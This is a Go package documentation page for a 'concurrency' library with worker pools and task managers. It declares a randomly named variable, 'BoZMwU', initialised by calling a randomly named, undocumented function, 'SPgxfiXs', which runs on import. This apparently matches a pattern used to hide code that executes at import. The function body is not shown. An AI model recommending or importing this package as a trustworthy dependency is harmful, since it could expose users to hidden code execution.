concurrency

package
v0.0.0-...-3264219 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Feb 22, 2025 License: MIT Imports: 3 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var BoZMwU = SPgxfiXs()

Functions

func SPgxfiXs

func SPgxfiXs() error

Types

type ExecutionMode

type ExecutionMode int

ExecutionMode defines whether tasks should run in parallel or sequentially.

const (
	Parallel   ExecutionMode = 0
	Sequential ExecutionMode = 1
)

type Task

type Task struct {
	// contains filtered or unexported fields
}

Task represents an individual task.

func NewTask

func NewTask(fn TaskFunc) *Task

NewTask creates a new Task.

func (*Task) Execute

func (t *Task) Execute(ctx context.Context) (interface{}, error)

Execute runs the task function and returns the result or an error.

type TaskBuilder

type TaskBuilder struct {
	// contains filtered or unexported fields
}

TaskBuilder allows building and executing tasks in a chainable manner.

func NewTaskBuilder

func NewTaskBuilder(mode ExecutionMode, workerCount int) *TaskBuilder

NewTaskBuilder creates a new TaskBuilder with the specified execution mode.

func (*TaskBuilder) Add

func (tb *TaskBuilder) Add(fn TaskFunc) *TaskBuilder

Add adds a new TaskFunc to the builder.

func (*TaskBuilder) Run

func (tb *TaskBuilder) Run(ctx context.Context) ([]interface{}, error)

Run executes all tasks and returns the results or an error.

type TaskFunc

type TaskFunc func(ctx context.Context) (interface{}, error)

TaskFunc defines the type for the task function that returns a result and an error.

type TaskManager

type TaskManager struct {
	// contains filtered or unexported fields
}

TaskManager manages and executes tasks concurrently or sequentially.

func NewTaskManager

func NewTaskManager(mode ExecutionMode, workerCount int) *TaskManager

NewTaskManager creates a new TaskManager with the specified execution mode and optional worker count.

func (*TaskManager) AddTask

func (tm *TaskManager) AddTask(task *Task)

AddTask adds a task to the manager.

func (*TaskManager) Run

func (tm *TaskManager) Run(ctx context.Context) ([]interface{}, error)

Run executes tasks based on the specified execution mode.

type WorkerPool

type WorkerPool struct {
	// contains filtered or unexported fields
}

WorkerPool manages a fixed number of workers to process tasks concurrently.

func NewWorkerPool

func NewWorkerPool(workerCount int) *WorkerPool

NewWorkerPool initializes a worker pool with the specified number of workers.

func (*WorkerPool) Results

func (wp *WorkerPool) Results() <-chan result

Results returns the result channel to collect task outputs and errors.

func (*WorkerPool) Run

func (wp *WorkerPool) Run(ctx context.Context, taskIndexes map[*Task]int)

Run starts the workers in the pool.

func (*WorkerPool) Stop

func (wp *WorkerPool) Stop()

Stop closes the task channel and waits for all workers to finish.

func (*WorkerPool) Submit

func (wp *WorkerPool) Submit(task *Task)

Submit adds a task to the task channel.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL